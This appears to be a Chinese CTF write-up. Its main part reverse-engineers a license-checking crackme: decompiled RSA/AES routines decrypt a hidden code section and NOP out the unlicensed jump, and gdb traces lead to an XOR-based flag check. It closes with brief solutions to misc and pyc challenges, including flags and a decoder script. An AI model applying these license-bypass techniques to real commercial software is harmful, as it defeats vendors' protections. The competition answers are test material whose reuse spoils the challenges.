please input >123123456
/ 123123456 \
\ ^__^
(oo)\_______
(__)\ )\/\
||----w |
|| ||
...
Your choice: 3
You have no license to run this feature.

我们这个注册码并不能成功的执行check_flag函数。

反编译

显而易见,我们反编译的重点应该放在1. register上,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
__int64 sub_1220()
{
signed int v0; // ebp
bool v1; // cf
bool v2; // zf
signed __int64 v3; // rcx
const char *v4; // rsi
__int64 *v5; // rdi
signed __int64 v6; // rcx
const char *v7; // rsi
__int64 *v8; // rdi
char v9; // al
bool v10; // cf
bool v11; // zf
__int64 v13; // [rsp+0h] [rbp-4B8h]
char v14; // [rsp+80h] [rbp-438h]
unsigned __int64 v15; // [rsp+488h] [rbp-30h]
v0 = -2;
v15 = __readfsqword(0x28u);
memset(&v14, 0, 0x400uLL);
puts("paste license here:");
do
{
while ( 1 )
{
fgets((char *)&v13, 128, stdin);
v3 = 25LL;
v4 = "-----BEGIN LICENSE-----\n";
v5 = &v13;
do
{
if ( !v3 )
break;
v1 = (const unsigned __int8)*v4 < *(_BYTE *)v5;
v2 = *v4++ == *(_BYTE *)v5;
v5 = (__int64 *)((char *)v5 + 1);
--v3;
}
while ( v2 );
v6 = 23LL;
v7 = "-----END LICENSE-----\n";
v8 = &v13;
v9 = (!v1 && !v2) - v1;
v10 = 0;
v11 = v9 == 0;
if ( v9 )
break;
do
{
if ( !v6 )
break;
v10 = (const unsigned __int8)*v7 < *(_BYTE *)v8;
v11 = *v7++ == *(_BYTE *)v8;
v8 = (__int64 *)((char *)v8 + 1);
--v6;
}
while ( v11 );
if ( (!v10 && !v11) == v10 )
goto LABEL_16;
v0 = 1;
}
do
{
if ( !v6 )
break;
v10 = (const unsigned __int8)*v7 < *(_BYTE *)v8;
v11 = *v7++ == *(_BYTE *)v8;
v8 = (__int64 *)((char *)v8 + 1);
--v6;
}
while ( v11 );
if ( (!v10 && !v11) == v10 )
break;
if ( v0 > 0 )
{
v7 = (const char *)&v13;
__strcat_chk(&v14, &v13, 1024LL);
}
++v0;
}
while ( v0 != 8 );
LABEL_16:
sub_16A0(&v14, v7);
return 0LL;
}

对应的函数从控制台读入了license,并调用了sub_16a0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
void __fastcall sub_16A0(const char *a1)
{
const char *v1; // rbx
int v2; // eax
__int64 v3; // rdi
unsigned int v4; // ebp
_BYTE *v5; // r13
__int64 v6; // rax
__int64 v7; // r12
__int64 v8; // rax
__int64 v9; // rbx
__int64 v10; // rax
unsigned int v11; // er12
__int64 v12; // rbx
__int64 v13; // rbp
int v14; // eax
__m128i *v15; // rbx
__int64 v16; // rax
int v17; // eax
size_t v18; // rbp
__int64 v19; // rsi
char *v20; // rdi
__int64 v21; // r14
__int64 v22; // rax
char *v23; // r13
int v24; // er12
unsigned __int64 v25; // rdi
__int64 *v26; // rbx
__int64 v27; // rax
int v28; // [rsp+Ch] [rbp-8Ch]
__m128i v29; // [rsp+10h] [rbp-88h]
__m128i v30; // [rsp+20h] [rbp-78h]
__m128i v31; // [rsp+30h] [rbp-68h]
__m128i v32; // [rsp+40h] [rbp-58h]
__int64 v33; // [rsp+50h] [rbp-48h]
unsigned __int64 v34; // [rsp+58h] [rbp-40h]
v1 = a1;
v34 = __readfsqword(0x28u);
v2 = strlen(a1);
v3 = v2;
v4 = v2;
v5 = malloc(v2);
v6 = BIO_f_base64(v3);
v7 = BIO_new(v6);
v8 = BIO_new_mem_buf(v1, v4);
v9 = BIO_push(v7, v8);
BIO_ctrl(v9, 11LL, 0LL, 0LL);
v10 = (signed int)BIO_read(v9, v5, v4);
v5[v10] = 0;
v11 = v10;
BIO_free_all(v9);
__printf_chk(1LL, "b64decode size: %d\n", v11);
v12 = BIO_new_mem_buf(&unk_2031AC, &unk_20336F - &unk_2031AC);
v13 = PEM_read_bio_RSA_PUBKEY(v12, 0LL, 0LL, 0LL);
BIO_free(v12);
if ( v13 )
{
v14 = RSA_size(v13);
v15 = (__m128i *)malloc(v14);
RSA_public_decrypt(v11, v5, v15, v13, 1LL);
RSA_free(v13);
v16 = v15[4].m128i_i64[0];
v29 = _mm_loadu_si128(v15);
v33 = v16;
v30 = _mm_loadu_si128(v15 + 1);
v31 = _mm_loadu_si128(v15 + 2);
v32 = _mm_loadu_si128(v15 + 3);
free(v15);
}
v17 = getpagesize();
v18 = v17;
v19 = v17;
v20 = (char *)sub_19C0 - (unsigned __int64)sub_19C0 % v17;
mprotect(v20, v17, 7);
v21 = EVP_CIPHER_CTX_new(v20, v19);
v22 = EVP_aes_256_cbc();
EVP_DecryptInit(v21, v22, &v29, &v31);
EVP_CIPHER_CTX_set_padding(v21, 0LL);
v23 = (char *)malloc((char *)term_proc - (char *)sub_19C0 + 16);
EVP_DecryptUpdate(v21, v23, &v28, sub_19C0, (unsigned int)((char *)term_proc - (char *)sub_19C0));
v24 = v28;
EVP_DecryptFinal(v21, &v23[v28], &v28);
memcpy(sub_19C0, v23, v24 + v28);
free(v23);
v25 = qword_2033A0;
if ( qword_2033A0 )
{
v26 = &qword_2033A0;
do
{
while ( !(v26[1] & v33) )
{
v26 += 2;
v25 = *v26;
if ( !*v26 )
return;
}
v26 += 2;
mprotect((void *)(v25 - v25 % v18), v18, 7);
v27 = *(v26 - 2);
*(_DWORD *)v27 = 0x90909090;
*(_BYTE *)(v27 + 4) = 0x90u;
v25 = *v26;
}
while ( *v26 );
}
}

sub_16a0 完成了base64解码,rsa解密,aes_cbc解密,并在解密后将一段内存替换为了90 90 90 90 90。如果敏感的话,这里明显是在替换成nop ...指令。不过没发现也没事,我们可以后面动态调试。
明显,EVP_DecryptInit(v21, v22, &v29, &v31); 对应KEY和IV的参数,都是由RSA解密后的数据v15来的,因此要重点关心一下AES到底解密了啥。
EVP_DecryptUpdate(v21, v23, &v28, sub_19C0, (unsigned int)((char *)term_proc - (char *)sub_19C0)); 这里传入的地址是sub_19c0,size是term_proc - sub_19c0,跳转到sub_19c0看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
protected:00000000000019C0 sub_19C0 proc far ; CODE XREF: .text:00000000000011C5↑j
protected:00000000000019C0 ; DATA XREF: sub_16A0:loc_17E4↑o
protected:00000000000019C0 ; __unwind {
protected:00000000000019C0 mov cl, 57h ; 'W'
protected:00000000000019C2 movsd
protected:00000000000019C3 retf
protected:00000000000019C3 sub_19C0 endp
protected:00000000000019C3
protected:00000000000019C3 ; ---------------------------------------------------------------------------
protected:00000000000019C4 dd 0AAE07FBCh
protected:00000000000019C8 dq 7377960DB082A6D4h, 20A9907265E37A56h, 0C0EE3002F6A022F1h
protected:00000000000019C8 dq 0DA34CA6597E060D2h, 0AD3F087F2F712AC0h, 2D449E3657B67092h
protected:00000000000019C8 dq 7EFBF76461C835AEh, 0CA3A2F1F6BD9C3A3h, 44B78C39C5EE967Ah
protected:00000000000019C8 dq 0BA132C2118113477h, 0D6DCF6649B92C65Dh, 7EA2578B98A01ED3h
protected:00000000000019C8 dq 3B48240BB1C350CFh, 0D0CDD055EE84C8F7h, 54F5B8F0F927AAAAh
protected:00000000000019C8 dq 0D5EF5F140160B5E1h, 17B1445512CA5AB0h, 9193B2F97B725AC1h
protected:00000000000019C8 dq 0A28AF713CBDAFE8Eh, 452618AF1E34DB28h, 2C94F9D13D155D4Ah
protected:00000000000019C8 dq 3CD909CDB9D105F9h, 53EE901A203FBEBAh, 84D147C50674ECA7h
protected:00000000000019C8 dq 6815A1F60179F284h, 0D40D3484C66C7EAFh, 47B12282C741B298h
protected:00000000000019C8 dq 1059744C56A877AEh, 0FAE0DECEEFA7103Eh, 85F0F585625C21AEh
protected:00000000000019C8 dq 2D22E7585454836Ah, 21BB08002B85E034h, 0ACE68E35258784ADh
protected:00000000000019C8 dq 0CA93D3F3A06681A9h, 390139D8389DAE1Bh, 7F6DB02B671BDCA6h
protected:00000000000019C8 dq 3FFD7505BF5864CBh, 0D6B332ADAF3D2C2Dh, 33747267742F7E1Bh
protected:00000000000019C8 dq 5CEE44A063A998B0h, 1BF088761D678E3Bh, 568B6B1E008B5677h
protected:00000000000019C8 dq 347C9E9758B15A65h, 0D835A24E41DA0EB7h, 0AA9D8572FF22DE1Ah
protected:00000000000019C8 dq 59F18E6141D961Dh, 4F1BD2919272156h, 0D9C5BE02E9E0499Dh
protected:00000000000019C8 dq 0C70AF6C49C77BBB7h, 3363804DF15B98B1h, 90B880C5D3C90256h
protected:00000000000019C8 dq 21EC795F29E0F199h, 51AEF1B5DD2BCF23h, 8F730FCA2104083Eh
protected:00000000000019C8 dq 59EA15EF9297BFACh, 3C27A1FDE8C44BBEh, 0C957D242993A0F03h
protected:00000000000019C8 dq 7280FE25FA7A99A6h, 4F05DE22E472D254h
protected:00000000000019C8 ; } // starts at 1A80
protected:00000000000019C8 protected ends
protected:00000000000019C8
.fini:0000000000001BA0 ; ===========================================================================
.fini:0000000000001BA0
.fini:0000000000001BA0 ; Segment type: Pure code
.fini:0000000000001BA0 ; Segment permissions: Read/Execute
.fini:0000000000001BA0 _fini segment dword public 'CODE' use64
.fini:0000000000001BA0 assume cs:_fini
.fini:0000000000001BA0 ;org 1BA0h
.fini:0000000000001BA0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.fini:0000000000001BA0
.fini:0000000000001BA0 ; =============== S U B R O U T I N E =======================================
.fini:0000000000001BA0
.fini:0000000000001BA0
.fini:0000000000001BA0 public _term_proc
.fini:0000000000001BA0 _term_proc proc near ; DATA XREF: sub_16A0+14B↑o
.fini:0000000000001BA0 sub rsp, 8
.fini:0000000000001BA4 add rsp, 8
.fini:0000000000001BA8 retn
.fini:0000000000001BA8 _term_proc endp
.fini:0000000000001BA8
.fini:0000000000001BA8 _fini ends
.fini:0000000000001BA8

明显看出,19c0处的汇编代码是错误的,后面也全都是乱码,解密的区域也是这堆数据,而且这个section名字也不是.text

动态调试

此时我们就要gdb挂上看一看解密完了到底是啥了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x5555555559c0: push %rbx
0x5555555559c1: lea 0x275(%rip),%rsi # 0x555555555c3d
0x5555555559c8: mov $0x1,%edi
0x5555555559cd: sub $0x90,%rsp
0x5555555559d4: mov %fs:0x28,%rax
0x5555555559dd: mov %rax,0x88(%rsp)
0x5555555559e5: xor %eax,%eax
0x5555555559e7: mov %rsp,%rbx
0x5555555559ea: callq 0x555555554dc0 <__printf_chk@plt>
0x5555555559ef: lea 0x256(%rip),%rdi # 0x555555555c4c
0x5555555559f6: mov %rbx,%rsi
0x5555555559f9: xor %eax,%eax
0x5555555559fb: callq 0x555555554f20 <__isoc99_scanf@plt>
0x555555555a00: lea 0x24b(%rip),%rsi # 0x555555555c52
0x555555555a07: mov %rbx,%rdx
0x555555555a0a: mov $0x1,%edi
0x555555555a0f: xor %eax,%eax
0x555555555a11: callq 0x555555554dc0 <__printf_chk@plt>
0x555555555a16: lea 0x23d(%rip),%rdi # 0x555555555c5a
0x555555555a1d: callq 0x555555554db0 <puts@plt>
0x555555555a22: lea 0x23a(%rip),%rdi # 0x555555555c63
0x555555555a29: callq 0x555555554db0 <puts@plt>
0x555555555a2e: lea 0x23f(%rip),%rdi # 0x555555555c74
0x555555555a35: callq 0x555555554db0 <puts@plt>
0x555555555a3a: lea 0x248(%rip),%rdi # 0x555555555c89
0x555555555a41: callq 0x555555554db0 <puts@plt>
0x555555555a46: lea 0x24e(%rip),%rdi # 0x555555555c9b
0x555555555a4d: callq 0x555555554db0 <puts@plt>
0x555555555a52: mov 0x88(%rsp),%rcx
0x555555555a5a: xor %fs:0x28,%rcx
0x555555555a63: jne 0x555555555a70
0x555555555a65: add $0x90,%rsp
0x555555555a6c: xor %eax,%eax
0x555555555a6e: pop %rbx
0x555555555a6f: retq

!惊了,这里竟然变成代码了! 我们可以直接把这整个section直接反编译出来! 合理的猜测下,2, 3两个菜单选项应该调用的都是这里的代码。于是我们调试回2. cow say看看。

1
2
3
4
5
6
7
8
9
(gdb) x/10i $rip
=> 0x5555555551c0: nop
0x5555555551c1: nop
0x5555555551c2: nop
0x5555555551c3: nop
0x5555555551c4: nop
0x5555555551c5: jmpq 0x5555555559c0
0x5555555551ca: jmpq 0x555555555930
0x5555555551cf: jmpq 0x555555555a80

!惊了 这里的代码变成了nop? 抓紧回IDA看看原来是啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:00000000000011C0 sub_11C0 proc near ; CODE XREF: main+CA↑p
.text:00000000000011C0 ; .text:000000000000137A↓j
.text:00000000000011C0 ; DATA XREF: ...
.text:00000000000011C0 jmp sub_1930
.text:00000000000011C0 sub_11C0 endp
.text:00000000000011C0
.text:00000000000011C5 ; ---------------------------------------------------------------------------
.text:00000000000011C5 jmp near ptr sub_19C0
.text:00000000000011CA
.text:00000000000011CA ; =============== S U B R O U T I N E =======================================
.text:00000000000011CA
.text:00000000000011CA ; Attributes: thunk
.text:00000000000011CA
.text:00000000000011CA sub_11CA proc near ; CODE XREF: main+DA↑p
.text:00000000000011CA ; .text:0000000000001352↓j
.text:00000000000011CA ; DATA XREF: ...
.text:00000000000011CA jmp sub_1930
.text:00000000000011CA sub_11CA endp
.text:00000000000011CA
.text:00000000000011CA ; ---------------------------------------------------------------------------
.text:00000000000011CF db 0E9h
.text:00000000000011D0 ; ---------------------------------------------------------------------------

jmp sub_1930 被patch成了nop!
我们再看看 3. check_flag是调用的啥? sub_11CA! 再看看sub_1930做了啥?

1
2
3
4
int sub_1930()
{
return puts("You have no license to run this feature.");
}

原来注册成功后,对应跳转到unlicensed的jmp就会patch成nop, 那后面跟的就是jmp 到实际的函数。

从IDA里U+C一下,将sub_11ca恢复完整

1
2
3
4
5
6
7
8
.text:00000000000011CA sub_11CA proc near ; CODE XREF: main+DA↑p
.text:00000000000011CA ; .text:0000000000001352↓j
.text:00000000000011CA ; DATA XREF: ...
.text:00000000000011CA jmp sub_1930
.text:00000000000011CA sub_11CA endp
.text:00000000000011CA
.text:00000000000011CF ; ---------------------------------------------------------------------------
.text:00000000000011CF jmp near ptr qword_19C8+0B8h

check_flag真实的位置应该就是qword_19C8+0B8h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
(gdb) x/100i 0x555555554000+0x19c8+0xb8
=> 0x555555555a80: push %rbx
0x555555555a81: lea 0x1dd(%rip),%rsi # 0x555555555c65
0x555555555a88: mov $0x1,%edi
0x555555555a8d: sub $0x110,%rsp
0x555555555a94: mov %fs:0x28,%rax
0x555555555a9d: mov %rax,0x108(%rsp)
0x555555555aa5: xor %eax,%eax
0x555555555aa7: lea 0x80(%rsp),%rbx
0x555555555aaf: callq 0x555555554dc0 <__printf_chk@plt>
0x555555555ab4: lea 0x1b9(%rip),%rdi # 0x555555555c74
0x555555555abb: mov %rbx,%rsi
0x555555555abe: xor %eax,%eax
0x555555555ac0: callq 0x555555554f20 <__isoc99_scanf@plt>
0x555555555ac5: movdqa 0x213(%rip),%xmm0 # 0x555555555ce0
0x555555555acd: xor %eax,%eax
0x555555555acf: movb $0xf4,0x20(%rsp)
0x555555555ad4: movb $0x0,0x21(%rsp)
0x555555555ad9: mov $0x1,%esi
0x555555555ade: movaps %xmm0,(%rsp)
0x555555555ae2: mov %rsp,%rdx
0x555555555ae5: xor %r8d,%r8d
0x555555555ae8: movdqa 0x200(%rip),%xmm0 # 0x555555555cf0
0x555555555af0: movaps %xmm0,0x10(%rsp)
0x555555555af5: nopl (%rax)
0x555555555af8: movzbl (%rbx,%rax,1),%ecx
0x555555555afc: mov %ecx,%edi
0x555555555afe: xor $0xffffff89,%edi
0x555555555b01: cmp %dil,(%rdx,%rax,1)
0x555555555b05: mov %cl,(%rdx,%rax,1)
0x555555555b08: cmovne %r8d,%esi
0x555555555b0c: add $0x1,%rax
0x555555555b10: cmp $0x21,%rax
0x555555555b14: jne 0x555555555af8
0x555555555b16: test %esi,%esi
0x555555555b18: jne 0x555555555b2e
0x555555555b1a: movabs $0x6c6620676e6f7277,%rax
0x555555555b24: movl $0x216761,0x8(%rdx)
0x555555555b2b: mov %rax,(%rdx)
0x555555555b2e: lea 0x145(%rip),%rsi # 0x555555555c7a
0x555555555b35: mov $0x1,%edi
0x555555555b3a: xor %eax,%eax
0x555555555b3c: callq 0x555555554dc0 <__printf_chk@plt>
0x555555555b41: lea 0x13a(%rip),%rdi # 0x555555555c82
0x555555555b48: callq 0x555555554db0 <puts@plt>
0x555555555b4d: lea 0x137(%rip),%rdi # 0x555555555c8b
0x555555555b54: callq 0x555555554db0 <puts@plt>
0x555555555b59: lea 0x13c(%rip),%rdi # 0x555555555c9c
0x555555555b60: callq 0x555555554db0 <puts@plt>
0x555555555b65: lea 0x145(%rip),%rdi # 0x555555555cb1
0x555555555b6c: callq 0x555555554db0 <puts@plt>
0x555555555b71: lea 0x14b(%rip),%rdi # 0x555555555cc3
0x555555555b78: callq 0x555555554db0 <puts@plt>
0x555555555b7d: xor %eax,%eax
0x555555555b7f: mov 0x108(%rsp),%rbx
0x555555555b87: xor %fs:0x28,%rbx
0x555555555b90: jne 0x555555555b9b
0x555555555b92: add $0x110,%rsp
0x555555555b99: pop %rbx
0x555555555b9a: retq
0x555555555b9b: callq 0x555555554ef0 <__stack_chk_fail@plt>
0x555555555ba0: sub $0x8,%rsp
0x555555555ba4: add $0x8,%rsp
0x555555555ba8: retq

实际这一段应该是一个很简单的异或0x89逻辑,能做到这里基本就已经解决的差不多了。
然后出题人做着做着发现。比赛当天的binary似乎传错了…
正确的binary:
https://dl.summershrimp.com/BuggyProtect-new

Misc

签到题

打开即送flag

fs

apfs

dmg末尾给了12位的密码Xmas3?theme3

直接打开dmg得到flag.txt

rev

pyc

1
2
3
with open('rev', 'rb') as f1:
with open('genflag', 'wb') as f2:
f2.write(f1.read()[::-1])

得到genflag后,modu1e需要改为module

用uncompyle6

1
uncompyle6 -o . genflag

参考enc写dec

1
2
3
4
5
6
7
8
9
10
11
12
def enc():
flag = r'To make it more difficult to calculate the flag by hand, nuaactf{py_uncompyle}, flag is for scripts'
[print('{:x}'.format(ord(each)+0x32), end='l') for each in flag]
print()
def dec():
enc_flag = '86la1l52l9fl93l9dl97l52l9bla6l52l9fla1la4l97l52l96l9bl98l98l9bl95la7l9ela6l52la6la1l52l95l93l9el95la7l9el93la6l97l52la6l9al97l52l98l9el93l99l52l94labl52l9al93la0l96l5el52la0la7l93l93l95la6l98ladla2labl91la7la0l95la1l9fla2labl9el97lafl5el52l98l9el93l99l52l9bla5l52l98la1la4l52la5l95la4l9bla2la6la5l'
enc_flag = enc_flag[:-1].split('l')
for each in enc_flag:
print(chr(int(each, 16)-0x32), end='')
print()
enc()
dec()

得到flag

plot

g-code plot

https://ncviewer.com/